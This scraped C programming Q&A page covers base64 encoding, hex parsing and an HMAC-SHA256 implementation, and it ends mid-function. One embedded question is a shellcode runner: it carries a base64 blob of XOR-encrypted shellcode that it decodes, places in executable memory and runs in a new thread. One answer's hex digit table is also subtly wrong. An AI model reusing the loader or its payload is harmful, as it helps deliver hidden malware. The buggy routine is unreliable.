Base64 Encoding Padding in C - c

I am writting a base64 encoder and decoder and have it almost completly functional, I just need to be able to pad the encoded data with equal signs if the number of input bytes does not round out to a multiple of 3. I am relativly new to C and am not sure how I would detect the number of bytes or pad the output accordingly. This is what I have so far
void encode(char* src, char* dest) {
char base64[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
unsigned char first = (src[0] >> 2);
unsigned char second = (src[0] << 4) | (src[1] >> 4);
second = (second << 2);
second = (second >> 2);
unsigned char third = (src[1] << 2) | (src[2] >> 6);
third = (third << 2);
third = (third >> 2);
unsigned char fourth = (src[2]);
fourth = (fourth << 2);
fourth = (fourth >> 2);
dest[0] = base64[first];
dest[1] = base64[second];
dest[2] = base64[third];
dest[3] = base64[fourth];
}
And my decoder method...
void decode(char* src, char* dest) {
char base64[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
int i;
int j;
int index;
for(i = 0; i < 4; i++) {
index = 0;
for(j = 0; j < 64; j++) {
if (src[i] == base64[j]) {
src[i] = index;
} else {
index++;
}
}
}
char first = (src[0] << 2) | (src[1] >> 4);
char second = (src[1] << 4) | (src[2] >> 2);
char third = (src[2] << 6) | (src[3]);
dest[0] = first;
dest[1] = second;
dest[2] = third;
}
If this is not enough and I need to also provide the rest of my code I can do so.

Related

Converting Signed Char Array That Involves Hex Characters to Unsigned Char Array

I am trying to create a shellcode by integrating XOR encryption and Base64 encoding. However, I have a problem. Base64 decoder that I found outputs char array but I need unsigned char array because all the rest of the algorithm is created for unsigned char array. I added my code below. Can you suggest a solution?
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include "windows.h"
/* ---- Base64 Encoding/Decoding Table --- */
char b64[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
void b64_encode(char *clrstr, char *b64dst);
void decodeblock(unsigned char in[], char *clrstr);
void b64_decode(char *b64src, char *clrdst);
void encodeblock( unsigned char in[], char b64str[], int len );
int main() {
PVOID lclbuff;
HANDLE thrd;
int i;
//mysrc, first, encrypted by using key1 with XOR and again encrypted by using key2 with XOR. Then encoded with base64. Therefore, I need to reverse these steps.
char mysrc[] = "XHhmOFx4NTZceDgzXHhmMFx4ZTFceGU1XHhkZlx4MGNceDEwXHgxOFx4NGRceDQyXHg0OVx4NDlceDRiXHg1MVx4NDFceDQ5XHgyOVx4YzdceDYxXHg1Nlx4OGJceDQ2XHg3MVx4NDVceDk0XHg1ZVx4MDhceDUwXHg4N1x4NDFceDI4XHg1MVx4OTJceDcyXHg0N1x4NDlceDE3XHhhMlx4NGVceDU0XHg0ZFx4MjVceGQ4XHg0NVx4MmVceGNjXHhiY1x4MjRceDZkXHg2Zlx4MGFceDM1XHgzOVx4NDFceGQ2XHhjOFx4MTVceDU0XHgwNVx4ZGZceGUyXHhmOVx4NDNceDRjXHg0ZVx4NDRceDliXHg0YVx4MmNceDk4XHg0YVx4MjVceDUxXHgwMVx4YzdceDhhXHg5OFx4OWRceDA0XHgxZVx4MDBceDVjXHg5NFx4Y2RceDZiXHg2Ylx4NThceDE5XHhkY1x4NDNceDgzXHg1MVx4MDFceDQ0XHg5Y1x4NDFceDM4XHg1Y1x4MDVceGNlXHhlM1x4NDJceDU5XHhmMlx4ZDZceDRkXHg5Ylx4MmNceDg0XHg1Ylx4MDlceGNmXHg1NFx4MzFceGRlXHg0OVx4MjlceGQ1XHhhOFx4NWZceGMxXHhkZFx4MWNceDRjXHgxZVx4Y2RceDI4XHhmOFx4NzlceGUyXHg0NFx4MWFceDU1XHgyNFx4MWZceDQ0XHgyMVx4YzRceDcxXHhjNlx4NThceDUwXHg5YVx4NGRceDNiXHg0NVx4MTFceGM4XHg2YVx4NTJceDgzXHgxNVx4NTFceDQ0XHg5Y1x4NDFceDA0XHg1Y1x4MDVceGNlXHg0MVx4OWZceDE1XHg4NVx4NTdceDBkXHhjMFx4NTlceDU0XHg1Mlx4NTBceDQ3XHg0MFx4NWFceDU2XHg1OVx4NTlceDRjXHg0NVx4NDRceDQ4XHg5N1x4ZmRceDJkXHg1ZVx4NWVceGVmXHhmOFx4NTRceDUyXHg1MVx4NDNceDUxXHg4Ylx4MDVceGU4XHg0Zlx4ZWFceGZiXHhlMVx4NWRceDVkXHhhZlx4N2FceDZjXHgzZVx4NGZceDJiXHgzZVx4MTNceDA4XHg1OFx4NGZceDQ5XHg5ZVx4ZTdceDUwXHg5NFx4ZThceGJlXHgwMVx4MTRceDExXHg0NFx4OTZceGU5XHg1OVx4YTRceDBlXHgxM1x4MmRceDYyXHgxM1x4MDBceDE1XHgwNVx4NTlceDQxXHg0ZFx4OTdceGU0XHg1OFx4OThceGZjXHg1ZVx4YjZceDVjXHg2Zlx4MmFceDE0XHhmN1x4Y2NceDU1XHg4OVx4ZmRceDY5XHgxOVx4MTRceDA0XHgxZVx4NTlceDU1XHhhYlx4MjRceDlmXHg2N1x4MTBceGU3XHhkOVx4NDNceDU4XHg1NFx4MjhceGM5XHg1YVx4MzBceGQ4XHg1ZFx4ZmJceGRlXHg0OFx4OWRceGQzXHg0NVx4ZTBceGNjXHg1OFx4OTFceGNkXHg1Mlx4YjJceGYzXHgxNlx4ZGZceGY3XHhmZVx4Y2RceDVkXHg4ZFx4ZDlceDZhXHgwNFx4NTBceDU1XHg1M1x4ODVceGYyXHg1MFx4ODVceGVhXHg0OVx4YTNceDgwXHhhNVx4NjNceDYwXHhlN1x4YzBceDRjXHg5Zlx4YzRceDU0XHgxM1x4MGRceDFmXHg0NVx4YThceDdiXHg2MVx4NzdceDA4XHgxOVx4MTlceDAwXHgxN1x4NDBceDQ4XHg1NFx4NTRceDU2XHg4OVx4ZjZceDQ2XHg1YVx4NDhceDQxXHgyMVx4ZDhceDY2XHgxZVx4NTFceDU4XHg0OVx4ZTJceGViXHg2N1x4ZGZceDUxXHgyMFx4NGFceDAxXHgxNVx4NTlceDgwXHg1Ylx4MjhceDA4XHhkZVx4MGNceDdiXHg0MFx4OTBceGZmXHg1Nlx4NDdceDQwXHg0OFx4NTRceDU0XHg1Zlx4NTBceDVkXHhlZVx4Y2RceDVlXHg1Y1x4NTlceGU3XHhjNFx4NWVceDgxXHhkOFx4NTVceDg5XHhkNlx4NDBceGEyXHg2Y1x4YzhceDIxXHg4Nlx4ZWJceGM0XHg0NVx4MmVceGRlXHg1OFx4ZTdceGM2XHg5OFx4MDZceDU4XHhhM1x4MDhceDkwXHgxY1x4NzhceGVhXHhkMVx4YTVceGYwXHhhMVx4YjNceDViXHg1ZVx4YjZceGI2XHg4ZFx4YjFceDhlXHhmN1x4Y2NceDUxXHg4M1x4ZDNceDI5XHgyNFx4MTNceDc4XHgxNFx4ODBceGVmXHhmMVx4NzhceDFhXHhiN1x4NTdceDBiXHg3ZVx4N2NceDYyXHgxOVx4NDBceDQxXHg5ZVx4ZGJceGU3XHhjMA==";
char myb64[1840];
unsigned char nw[1840];
b64_decode(mysrc, myb64);
printf("%s\n", myb64); // This gives following and true output: \xf8\x56\x83\xf0\xe1\xe5\xdf\x0c\x10\x18...
//However, It must reside inside an unsigned char array, as occurs in the output above.
//The output above must be turned into unsigned char array which is 'nw'. What can I do?
char key1[] = "elma";
char key2[] = "armut";
for(i=0; i<sizeof(nw)-1; i++){
nw[i]^=key2[i % strlen(key2)];
}
for(i=0; i<sizeof(nw)-1; i++){
nw[i]^=key1[i % strlen(key1)];
}
lclbuff = VirtualAlloc(NULL, sizeof(nw), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
CopyMemory(lclbuff, nw, sizeof(nw));
thrd = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)lclbuff, NULL, 0, NULL);
WaitForSingleObject(thrd, INFINITE);
return 0;
}
// The functions below are only needed to base64 encoding/decoding. Therefore, we can pass them.
/* encode - base64 encode a stream, adding padding if needed */
void b64_encode(char *clrstr, char *b64dst) {
unsigned char in[3];
int i, len = 0;
int j = 0;
b64dst[0] = '\0';
while(clrstr[j]) {
len = 0;
for(i=0; i<3; i++) {
in[i] = (unsigned char) clrstr[j];
if(clrstr[j]) {
len++; j++;
}
else in[i] = 0;
}
if( len ) {
encodeblock( in, b64dst, len );
}
}
}
/* decodeblock - decode 4 '6-bit' characters into 3 8-bit binary bytes */
void decodeblock(unsigned char in[], char *clrstr) {
unsigned char out[4];
out[0] = in[0] << 2 | in[1] >> 4;
out[1] = in[1] << 4 | in[2] >> 2;
out[2] = in[2] << 6 | in[3] >> 0;
out[3] = '\0';
strncat(clrstr, out, sizeof(out));
}
void b64_decode(char *b64src, char *clrdst) {
int c, phase, i;
unsigned char in[4];
char *p;
clrdst[0] = '\0';
phase = 0; i=0;
while(b64src[i]) {
c = (int) b64src[i];
if(c == '=') {
decodeblock(in, clrdst);
break;
}
p = strchr(b64, c);
if(p) {
in[phase] = p - b64;
phase = (phase + 1) % 4;
if(phase == 0) {
decodeblock(in, clrdst);
in[0]=in[1]=in[2]=in[3]=0;
}
}
i++;
}
}
/* encodeblock - encode 3 8-bit binary bytes as 4 '6-bit' characters */
void encodeblock( unsigned char in[], char b64str[], int len ) {
unsigned char out[5];
out[0] = b64[ in[0] >> 2 ];
out[1] = b64[ ((in[0] & 0x03) << 4) | ((in[1] & 0xf0) >> 4) ];
out[2] = (unsigned char) (len > 1 ? b64[ ((in[1] & 0x0f) << 2) |
((in[2] & 0xc0) >> 6) ] : '=');
out[3] = (unsigned char) (len > 2 ? b64[ in[2] & 0x3f ] : '=');
out[4] = '\0';
strncat(b64str, out, sizeof(out));
}

Reading WORD from a array c

Is there a good way to parse 32 bit values out of a string? the following function does not throw the correct value and I don't know how to fix it. the value should be 170
unsigned int getvalue(const char *data, int offset)
{
unsigned int payload = 0;
for (unsigned char i = 0; i < 4; i++)
{
payload <<= 8;
payload |= data[i + offset];
}
return payload;
}
int value = 0x00aa;
unsigned char b1 = (value & 0xFF);
unsigned char b2 = ((value >> 8) & 0xFF);
unsigned char b3 = ((value >> 16) & 0xFF);
unsigned char b4 = ((value >> 24) & 0xFF);
int number = (b4 << 24) + (b3 << 16) + (b2 << 8) + b1;
printf("value is: %d\n", number); // value is: 170 correct
char payload[] = "000000aa";
int value2 = getvalue(payload, 0);
printf("value is: %dn", value2); // value is: 808464432n Not correct
if you want to convert C string containing hexadecimal number) to its integer value:
unsigned long long conv(const char *str)
{
const char digits[] = "01234567890ABCDEF";
unsigned long long result = 0;
char *ref;
while(*str)
{
result *= 16;
ref = strchr(digits, toupper((unsigned char)*str));
if(ref)
{
result += ref - digits;
}
else
{
/* error handling */
}
str++;
}
return result
}
The digits in the C string are ASCII representation of the character representing the letter or digit. '0' is not represented in the char array by zero but 0x30.
Change your getvalue to
unsigned int getvalue(const char *data, int offset)
{
unsigned int payload = 0;
for (unsigned char i = 0; i < 8; i++)
{
payload <<= 4;
if (data[i + offset] >= 'a') {
payload |= (data[i + offset] - 97) + 10;
} else if (data[i + offset] >= 'A') {
payload |= (data[i + offset] - 65) + 10;
} else {
payload |= (data[i + offset] - 48);
}
}
return payload;
}
Each hex value occupies 4 bits, hence << 4
Each char in the string is in its ASCII code, hence the subtraction.
ASCII value of 'a' is 97, but the decimal value must be 10, so the expression will be 'a' - 97 + 10
There is no need to reinvent the wheel. There is a library function to do this: strtol.
#include <stdlib.h>
unsigned int getvalue(const char *data, int offset)
{
char *end;
long payload = strtol(&data[offset],&end,16);
if (*end || payload < 0 || payload > UINT_MAX) {
/* error handling */
}
return (unsigned int)payload;
}

HmacSHA256 in WebAssembly compiled with Emscripten

I'm trying to implement JWT token (encoding only) in WebAssembly, the goal is to have a very light weight wasm module. As a web developer my C knowledge is limited. For now I've implemented the following function (ported from JS) to encode url-safe Base64 encoder, which works perfectly.
char _keyStr[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_=";
char ret_val[200];
char* encode (char *data){
int len = strlen(data);
int i = 0;
int j = 0;
while(i<len){
char chr1 = data[i++];
int chr2Out = (i > len - 1)? 1:0;
char chr2 = data[i++];
int chr3Out = (i > len - 1)? 1:0;;
char chr3 = data[i++];
char enc1 = chr1 >> 2;
char enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
char enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
char enc4 = chr3 & 63;
if (chr2Out) {
enc3 = enc4 = 64;
} else if (chr3Out) {
enc4 = 64;
}
ret_val[j++] = _keyStr[enc1];
ret_val[j++] = _keyStr[enc2];
ret_val[j++] = _keyStr[enc3];
ret_val[j++] = _keyStr[enc4];
}
ret_val[j] = '\0';
return ret_val;
}
My next challenge is to be able to sign my JWT payload with HmacSHA256.
The following JS fiddle, describes what I want to accomplish with C.
https://jsfiddle.net/gm7boy2p/813/
I'm struggling with integrating a 3rd party code and complie it with emcc.
I'm looking for a light weight library or a snippet.
Example code or any help would be appreciated.
Update: After extra research, reading this stackoverflow question and this article, it looks like using openssl or any other external library with WebAssembly is far from trivial. So what I'm looking for now is a standalone C function that I could integrate to my existing code.
It is true that you cannot use the system libraries when using web-assembly. So the only solution is to compile them from source in a way the that is compliant with the libraries already provided by the cross-compiler (ie emscripten)
So for your question, I found the library cryptopp, satisfying your use case. The example here showcase how you can use this library.
Now how can you compile this library for your case? Since it comes with a make file, all you need to do is call
emmake make -f GNUmakefile-cross -j8
This will generate a .a file, which is actually a .bc file and can be linked with your existing C/C++ program, that you wish to run on web. Just make sure to include the headers of this file appropriately. It would even be better if you make a makefile for your project.
P.S I got this working locally in my system, by adding these line at the end of the GNUmakefile-cross file
cryptest.html: libcryptopp.a $(TESTOBJS)
$(CXX) -s DISABLE_EXCEPTION_CATCHING=0 --preload-file TestData -o $# $(strip $(CXXFLAGS)) $(TESTOBJS) ./libcryptopp.a $(LDFLAGS) $(LDLIBS)
I changed the test.cpp file to include sample code for "HMAC" and then called the following lines from the command line
emmake make -f GNUmakefile-cross cryptest.html -j8
The output ie cryptest.html, when opened in firefox worked flawlessly.
I managed to create a small (library-ish) code snippet in C. I checked the results from here.
Also shown here:
The SHA256 code is taken from here. Used in cgminer.
I just modified it a bit (removed references etc.) to make it work stand-alone. Here is the total code and test software.
sha2.h:
/*
* FIPS 180-2 SHA-224/256/384/512 implementation
* Last update: 02/02/2007
* Issue date: 04/30/2005
*
* Copyright (C) 2013, Con Kolivas <kernel#kolivas.org>
* Copyright (C) 2005, 2007 Olivier Gay <olivier.gay#a3.epfl.ch>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. Neither the name of the project nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE PROJECT AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE PROJECT OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
#ifndef SHA2_H
#define SHA2_H
#define SHA256_DIGEST_SIZE ( 256 / 8)
#define SHA256_BLOCK_SIZE ( 512 / 8)
#define SHFR(x, n) (x >> n)
#define ROTR(x, n) ((x >> n) | (x << ((sizeof(x) << 3) - n)))
#define CH(x, y, z) ((x & y) ^ (~x & z))
#define MAJ(x, y, z) ((x & y) ^ (x & z) ^ (y & z))
#define SHA256_F1(x) (ROTR(x, 2) ^ ROTR(x, 13) ^ ROTR(x, 22))
#define SHA256_F2(x) (ROTR(x, 6) ^ ROTR(x, 11) ^ ROTR(x, 25))
#define SHA256_F3(x) (ROTR(x, 7) ^ ROTR(x, 18) ^ SHFR(x, 3))
#define SHA256_F4(x) (ROTR(x, 17) ^ ROTR(x, 19) ^ SHFR(x, 10))
typedef struct {
unsigned int tot_len;
unsigned int len;
unsigned char block[2 * SHA256_BLOCK_SIZE];
unsigned int h[8];
} sha256_ctx;
extern unsigned int sha256_k[64];
void sha256_init(sha256_ctx * ctx);
void sha256_update(sha256_ctx *ctx, const unsigned char *message,
unsigned int len);
void sha256_final(sha256_ctx *ctx, unsigned char *digest);
void sha256(const unsigned char *message, unsigned int len,
unsigned char *digest);
#endif /* !SHA2_H */
main.c:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "sha2.h"
#define UNPACK32(x, str) \
{ \
*((str) + 3) = (unsigned char) ((x) ); \
*((str) + 2) = (unsigned char) ((x) >> 8); \
*((str) + 1) = (unsigned char) ((x) >> 16); \
*((str) + 0) = (unsigned char) ((x) >> 24); \
}
#define PACK32(str, x) \
{ \
*(x) = ((unsigned int) *((str) + 3) ) \
| ((unsigned int) *((str) + 2) << 8) \
| ((unsigned int) *((str) + 1) << 16) \
| ((unsigned int) *((str) + 0) << 24); \
}
#define SHA256_SCR(i) \
{ \
w[i] = SHA256_F4(w[i - 2]) + w[i - 7] \
+ SHA256_F3(w[i - 15]) + w[i - 16]; \
}
unsigned int sha256_h0[8] =
{ 0x6a09e667, 0xbb67ae85, 0x3c6ef372, 0xa54ff53a,
0x510e527f, 0x9b05688c, 0x1f83d9ab, 0x5be0cd19 };
unsigned int sha256_k[64] =
{ 0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5,
0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5,
0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3,
0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174,
0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc,
0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da,
0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7,
0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967,
0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13,
0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85,
0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3,
0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070,
0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5,
0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3,
0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208,
0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2 };
/* SHA-256 functions */
void sha256_transf(sha256_ctx *ctx, const unsigned char *message,
unsigned int block_nb)
{
unsigned int w[64];
unsigned int wv[8];
unsigned int t1, t2;
const unsigned char *sub_block;
int i;
int j;
for (i = 0; i < (int)block_nb; i++) {
sub_block = message + (i << 6);
for (j = 0; j < 16; j++) {
PACK32(&sub_block[j << 2], &w[j]);
}
for (j = 16; j < 64; j++) {
SHA256_SCR(j);
}
for (j = 0; j < 8; j++) {
wv[j] = ctx->h[j];
}
for (j = 0; j < 64; j++) {
t1 = wv[7] + SHA256_F2(wv[4]) + CH(wv[4], wv[5], wv[6])
+ sha256_k[j] + w[j];
t2 = SHA256_F1(wv[0]) + MAJ(wv[0], wv[1], wv[2]);
wv[7] = wv[6];
wv[6] = wv[5];
wv[5] = wv[4];
wv[4] = wv[3] + t1;
wv[3] = wv[2];
wv[2] = wv[1];
wv[1] = wv[0];
wv[0] = t1 + t2;
}
for (j = 0; j < 8; j++) {
ctx->h[j] += wv[j];
}
}
}
void sha256(const unsigned char *message, unsigned int len, unsigned char *digest)
{
sha256_ctx ctx;
sha256_init(&ctx);
sha256_update(&ctx, message, len);
sha256_final(&ctx, digest);
}
void sha256_init(sha256_ctx *ctx)
{
int i;
for (i = 0; i < 8; i++) {
ctx->h[i] = sha256_h0[i];
}
ctx->len = 0;
ctx->tot_len = 0;
}
void sha256_update(sha256_ctx *ctx, const unsigned char *message,
unsigned int len)
{
unsigned int block_nb;
unsigned int new_len, rem_len, tmp_len;
const unsigned char *shifted_message;
tmp_len = SHA256_BLOCK_SIZE - ctx->len;
rem_len = len < tmp_len ? len : tmp_len;
memcpy(&ctx->block[ctx->len], message, rem_len);
if (ctx->len + len < SHA256_BLOCK_SIZE) {
ctx->len += len;
return;
}
new_len = len - rem_len;
block_nb = new_len / SHA256_BLOCK_SIZE;
shifted_message = message + rem_len;
sha256_transf(ctx, ctx->block, 1);
sha256_transf(ctx, shifted_message, block_nb);
rem_len = new_len % SHA256_BLOCK_SIZE;
memcpy(ctx->block, &shifted_message[block_nb << 6],
rem_len);
ctx->len = rem_len;
ctx->tot_len += (block_nb + 1) << 6;
}
void sha256_final(sha256_ctx *ctx, unsigned char *digest)
{
unsigned int block_nb;
unsigned int pm_len;
unsigned int len_b;
int i;
block_nb = (1 + ((SHA256_BLOCK_SIZE - 9)
< (ctx->len % SHA256_BLOCK_SIZE)));
len_b = (ctx->tot_len + ctx->len) << 3;
pm_len = block_nb << 6;
memset(ctx->block + ctx->len, 0, pm_len - ctx->len);
ctx->block[ctx->len] = 0x80;
UNPACK32(len_b, ctx->block + pm_len - 4);
sha256_transf(ctx, ctx->block, block_nb);
for (i = 0; i < 8; i++) {
UNPACK32(ctx->h[i], &digest[i << 2]);
}
}
unsigned char * HMAC_SHA256(const char * msg, const char * key)
{
unsigned int blocksize = 64;
unsigned char * Key0 = (unsigned char *)calloc(blocksize, sizeof(unsigned char));
unsigned char * Key0_ipad = (unsigned char *)calloc(blocksize, sizeof(unsigned char));
unsigned char * Key0_ipad_concat_text = (unsigned char *)calloc( (blocksize + strlen(msg)), sizeof(unsigned char));
unsigned char * Key0_ipad_concat_text_digest = (unsigned char *)calloc( blocksize, sizeof(unsigned char));
unsigned char * Key0_opad = (unsigned char *)calloc(blocksize, sizeof(unsigned char));
unsigned char * Key0_opad_concat_prev = (unsigned char *)calloc(blocksize + 32, sizeof(unsigned char));
unsigned char * HMAC_SHA256 = (unsigned char *)malloc(32 * sizeof(unsigned char));
if (strlen(key) < blocksize) {
for (int i = 0; i < blocksize; i++) {
if (i < strlen(key)) Key0[i] = key[i];
else Key0[i] = 0x00;
}
}
else if (strlen(key) > blocksize) {
sha256(key, strlen(key), Key0);
for (unsigned char i = strlen(key); i < blocksize; i++) {
Key0[i] = 0x00;
}
}
for (int i = 0; i < blocksize; i++) {
Key0_ipad[i] = Key0[i] ^ 0x36;
}
for (int i = 0; i < blocksize; i++) {
Key0_ipad_concat_text[i] = Key0_ipad[i];
}
for (int i = blocksize; i < blocksize + strlen(msg); i++) {
Key0_ipad_concat_text[i] = msg[i - blocksize];
}
sha256(Key0_ipad_concat_text, blocksize + (unsigned int)strlen(msg), Key0_ipad_concat_text_digest);
for (int i = 0; i < blocksize; i++) {
Key0_opad[i] = Key0[i] ^ 0x5C;
}
for (int i = 0; i < blocksize; i++) {
Key0_opad_concat_prev[i] = Key0_opad[i];
}
for (int i = blocksize; i < blocksize + 32; i++) {
Key0_opad_concat_prev[i] = Key0_ipad_concat_text_digest[i - blocksize];
}
sha256(Key0_opad_concat_prev, blocksize + 32, HMAC_SHA256);
return HMAC_SHA256;
}
int main()
{
unsigned char * result;
result = HMAC_SHA256("Sample #1", "MyKey");
unsigned char arr[32] = { 0 };
memcpy(arr, result, 32);
for(int i = 0; i < 32; i++) {
printf("%#02x, ", arr[i]);
}
return 0;
}
Here are the results for the sample run:
EDIT:
Info on the HMAC_SHA256 function can be found here. The one I wrote is just for demonstration purposes. One can modify it accordingly.
EDIT 2:
I added the code for Base64 format. I used the information found on Wikipedia. Sample test run works for OP's input and output. Results are as shown:
Updated main.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include "sha2.h"
#define HMAC_SHA256_FAIL_STRING "HMAC_SHA256 has failed." // fprintf(stderr, "%s\n", strerror(errno));
#define UNPACK32(x, str) \
{ \
*((str) + 3) = (unsigned char) ((x) ); \
*((str) + 2) = (unsigned char) ((x) >> 8); \
*((str) + 1) = (unsigned char) ((x) >> 16); \
*((str) + 0) = (unsigned char) ((x) >> 24); \
}
#define PACK32(str, x) \
{ \
*(x) = ((unsigned int) *((str) + 3) ) \
| ((unsigned int) *((str) + 2) << 8) \
| ((unsigned int) *((str) + 1) << 16) \
| ((unsigned int) *((str) + 0) << 24); \
}
#define SHA256_SCR(i) \
{ \
w[i] = SHA256_F4(w[i - 2]) + w[i - 7] \
+ SHA256_F3(w[i - 15]) + w[i - 16]; \
}
char Base64_Table[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
unsigned int sha256_h0[8] =
{ 0x6a09e667, 0xbb67ae85, 0x3c6ef372, 0xa54ff53a,
0x510e527f, 0x9b05688c, 0x1f83d9ab, 0x5be0cd19 };
unsigned int sha256_k[64] =
{ 0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5,
0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5,
0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3,
0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174,
0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc,
0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da,
0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7,
0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967,
0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13,
0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85,
0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3,
0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070,
0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5,
0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3,
0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208,
0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2 };
/* SHA-256 functions */
void sha256_transf(sha256_ctx *ctx, const unsigned char *message,
unsigned int block_nb)
{
unsigned int w[64];
unsigned int wv[8];
unsigned int t1, t2;
const unsigned char *sub_block;
int i;
int j;
for (i = 0; i < (int)block_nb; i++) {
sub_block = message + (i << 6);
for (j = 0; j < 16; j++) {
PACK32(&sub_block[j << 2], &w[j]);
}
for (j = 16; j < 64; j++) {
SHA256_SCR(j);
}
for (j = 0; j < 8; j++) {
wv[j] = ctx->h[j];
}
for (j = 0; j < 64; j++) {
t1 = wv[7] + SHA256_F2(wv[4]) + CH(wv[4], wv[5], wv[6])
+ sha256_k[j] + w[j];
t2 = SHA256_F1(wv[0]) + MAJ(wv[0], wv[1], wv[2]);
wv[7] = wv[6];
wv[6] = wv[5];
wv[5] = wv[4];
wv[4] = wv[3] + t1;
wv[3] = wv[2];
wv[2] = wv[1];
wv[1] = wv[0];
wv[0] = t1 + t2;
}
for (j = 0; j < 8; j++) {
ctx->h[j] += wv[j];
}
}
}
void sha256(const unsigned char *message, unsigned int len, unsigned char *digest)
{
sha256_ctx ctx;
sha256_init(&ctx);
sha256_update(&ctx, message, len);
sha256_final(&ctx, digest);
}
void sha256_init(sha256_ctx *ctx)
{
int i;
for (i = 0; i < 8; i++) {
ctx->h[i] = sha256_h0[i];
}
ctx->len = 0;
ctx->tot_len = 0;
}
void sha256_update(sha256_ctx *ctx, const unsigned char *message,
unsigned int len)
{
unsigned int block_nb;
unsigned int new_len, rem_len, tmp_len;
const unsigned char *shifted_message;
tmp_len = SHA256_BLOCK_SIZE - ctx->len;
rem_len = len < tmp_len ? len : tmp_len;
memcpy(&ctx->block[ctx->len], message, rem_len);
if (ctx->len + len < SHA256_BLOCK_SIZE) {
ctx->len += len;
return;
}
new_len = len - rem_len;
block_nb = new_len / SHA256_BLOCK_SIZE;
shifted_message = message + rem_len;
sha256_transf(ctx, ctx->block, 1);
sha256_transf(ctx, shifted_message, block_nb);
rem_len = new_len % SHA256_BLOCK_SIZE;
memcpy(ctx->block, &shifted_message[block_nb << 6],
rem_len);
ctx->len = rem_len;
ctx->tot_len += (block_nb + 1) << 6;
}
void sha256_final(sha256_ctx *ctx, unsigned char *digest)
{
unsigned int block_nb;
unsigned int pm_len;
unsigned int len_b;
int i;
block_nb = (1 + ((SHA256_BLOCK_SIZE - 9)
< (ctx->len % SHA256_BLOCK_SIZE)));
len_b = (ctx->tot_len + ctx->len) << 3;
pm_len = block_nb << 6;
memset(ctx->block + ctx->len, 0, pm_len - ctx->len);
ctx->block[ctx->len] = 0x80;
UNPACK32(len_b, ctx->block + pm_len - 4);
sha256_transf(ctx, ctx->block, block_nb);
for (i = 0; i < 8; i++) {
UNPACK32(ctx->h[i], &digest[i << 2]);
}
}
char * HMAC_SHA256(char * msg, char * key)
{
